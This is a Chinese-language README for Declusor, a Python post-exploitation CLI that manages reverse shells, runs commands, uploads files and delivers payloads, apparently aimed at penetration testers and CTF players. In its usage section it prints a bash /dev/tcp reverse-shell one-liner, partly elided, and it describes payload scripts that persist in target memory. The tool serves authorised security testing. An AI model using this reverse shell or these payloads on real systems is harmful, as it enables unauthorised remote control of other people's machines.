othonhugo/declusor

GitHub: othonhugo/declusor

一款轻量级 Python 远程控制与 payload 投递 CLI 工具,为渗透测试和 CTF 提供反向 shell 管理、命令执行、文件传输等后渗透能力。

Stars: 5 | Forks: 3

# Declusor:远程控制与 Payload 投递客户端 [![License](https://img.shields.io/badge/license-MIT-blue.svg)](LICENSE) ![Python 3.x](https://img.shields.io/badge/python-3.x-blue.svg) **Declusor** 是一款快速、灵活且模块化的 Python 工具,专为渗透测试人员、CTF 选手和安全专业人员打造。它通过统一的交互式 CLI 简化了 payload 投递流程,并提供可靠的远程控制功能。 其智能命令行界面具备命令和路径自动补全功能,从而提升了操作效率,同时支持远程命令执行、交互式会话、payload 管理和文件传输——所有功能集于一身。 ![Capabilities Overview](https://i.imgur.com/Wsw2l90.gif) ## 功能特性 - **Shell 管理**:建立、维护远程 shell 会话并进行交互。 - **命令执行**:在远程系统上执行任意命令,输出由客户端捕获。 - **交互式 Shell**:开启完整的交互式 shell 会话,以便与远程环境进行无缝交互。 - **文件上传**:将文件从本地机器传输到远程目标。 - **Payload 加载**:从本地文件加载 shell 脚本或其他 payload,并在远程系统上执行。 - **本地命令补全**:具有自定义的命令行补全器,便于导航和输入命令,可自动建议可用命令和本地文件路径。 ## 技术架构 Declusor 遵循分层、依赖倒置的架构,包含八个包: | Package | Layer | Responsibility | | ------------ | -------------- | --------------------------------------------------------------------------------------------- | | `interface` | Domain | 抽象契约(`ICommand`, `IConnection`, `IConsole`, `IRouter`, …) | | `config` | Domain | 设置、枚举(`ClientFile`, `OperationCode`)和异常层级结构 | | `command` | Application | 命令对象 — `ExecuteCommand`, `ExecuteFile`, `UploadFile`, `LoadPayload`, `LaunchShell` | | `controller` | Application | 轻量级请求处理器,解析输入并委托给命令 | | `core` | Infrastructure | 具体的 `Console`, `Router`, `Parser`, 和 `PromptCLI` | | `connection` | Infrastructure | `ShellSocketProfile` + `ShellSocketConnection` (TCP socket, ACK framing) | | `util` | Cross-cutting | 编码、文件 I/O、网络、解析、安全和并发辅助工具 | | `main` | Entry point | `DeclusorService` — 引导、装配和生命周期编排 | ## 快速开始 ### 前置条件 - **Python 3.x**:确保你的本地机器上安装了 Python 3。 - **类 Unix 操作系统(目标)**:Declusor 依赖于目标机器上 Linux、macOS 和其他类 Unix 系统中标准存在的一些功能。 ### 安装 将 Declusor 仓库克隆到本地机器: ``` git clone https://github.com/othonhugo/declusor.git cd declusor chmod 700 ./declusor ``` 除标准库外,不需要额外的 Python 包。 ### 快速入门 ``` # 启动 listener (根据需要替换 IP 和 PORT) ./declusor 127.0.0.1 4444 ``` 客户端将输出一个 Bash 单行命令。在目标机器上执行该命令以建立 reverse shell。 ## 用法 ### 启动监听器(Declusor 客户端) 使用指定的 IP 和端口运行脚本: ``` ./declusor ``` **示例:** ``` ./declusor 127.0.0.1 4444 ``` 启动监听器后,Declusor 会打印一个 Bash 单行命令。此命令需在目标机器上执行,以建立反向连接回 Declusor 客户端的 reverse shell。 ### 建立 Reverse Shell(目标机器) 复制打印的单行命令并在目标机器上运行: ``` ( exec 3<> /dev/tcp/127.0.0.1/4444; while [...] done <&3 >&3 2>&3 ) ``` ### 与目标交互 当 reverse shell 处于活动状态时,Declusor 会显示 `[declusor]` 提示符。 ``` [declusor] help load : Load a payload file from your local system and execute it on the remote system command : Execute a single command on the remote system. shell : Initiate an interactive shell session on the remote system. upload : Upload a file from the local system to the remote system. execute : Execute a program or script from the local system on the remote system. help : Display detailed information about available commands or a specific command. exit : Terminate the session and exit the program. [declusor] load discovery/dev_tools.sh DEVELOPMENT TOOLS ----------------- /usr/bin/nc /usr/bin/netcat /usr/bin/gcc /usr/bin/wget /usr/bin/curl ``` ## 自定义和扩展 Payload 为了充分利用 `declusor`,你可以创建自定义 payload 或修改现有 payload。首先浏览 `data` 目录,其中包含关键子目录:`library` 和 `modules`。 - **`data/library/`**:此文件夹包含在建立连接后立即自动发送到目标的脚本。这些脚本旨在持久存在于目标内存中,有效地允许目标“记住”这些子程序。一旦存储,这些子程序就可以与你的 payload 结合重复使用。 - **`data/modules/`**:此文件夹包含目标按需执行的脚本,并按类别组织。这些脚本的输出会发回给你的服务器(或提示符)。`load` 命令会自动扫描此文件夹以查找可用文件和目录,从而简化将它们整合到你 payload 中的过程。 ## 贡献 我们非常鼓励并欢迎贡献!我们优先考虑代码库的清晰性、正确性和模块化。 **贡献领域包括:** - **新命令处理器**:通过添加新命令扩展 Declusor 的功能(例如,用于特定侦察、权限提升或后渗透任务)。 - **Payload 开发**:为 `data/library/`(持久化子程序)或 `data/modules/`(按需执行)目录创建新脚本。 - **跨平台兼容性**:增强对不同操作系统的支持,特别是针对目标端的单行命令或客户端执行。 - **文档和示例**:改进现有文档,添加更详细的使用示例,或创建教程。 - **Bug 修复和鲁棒性**:识别并修复错误,改进错误处理,或增强网络通信的稳定性。 - **代码重构和清晰度**:提高代码可读性、可维护性,并遵循最佳实践。 - **测试覆盖率**:扩展单元测试和集成测试以确保可靠性。 ## 许可证 本项目根据 MIT 许可证授权 - 有关详细信息,请参阅 [LICENSE](LICENSE) 文件。
标签:Awesome, C2客户端, CTF工具, IP 地址批量处理, Payload投递, PE 加载器, Python安全工具, 交互式CLI, 反向Shell, 后渗透利用, 命令执行, 文件传输, 架构设计, 漏洞搜索, 系统管理, 网络信息收集, 网络安全, 脚本加载执行, 自动化运维, 远程命令行, 远程控制工具, 隐私保护